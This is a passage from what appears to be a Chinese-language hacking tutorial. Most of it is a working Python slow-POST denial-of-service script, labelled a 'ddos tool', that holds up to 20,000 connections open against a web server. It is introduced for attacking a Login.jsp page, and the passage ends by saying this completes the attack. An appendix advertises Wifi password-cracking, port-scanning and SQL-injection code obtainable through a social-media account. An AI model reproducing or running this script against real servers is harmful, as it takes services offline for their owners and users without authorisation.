s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
如果你要攻擊Login.jsp：
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
HOST = ""
PORT=80
PAGE="/index.jsp"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
這樣，就可以完成想要的攻擊了。
附錄 B
也許本書內的代碼還比較低級，所以，在這一次修訂裏，我添加了一些擴充代碼。
擴充代碼列表：
- TCP端口掃描
- Wifi密碼破解
- SQL漏洞手工注入詳解
要獲取這些代碼，你需要關注公衆號朱天團獲取（無奈，太多，懶得放到CSDN上，就和那個公衆號的人溝通了下，要他們放上去了。。。）
關注後，回覆"HACKERCODING"即可獲取。（可能有延時，2020年2月17日應該會有了）
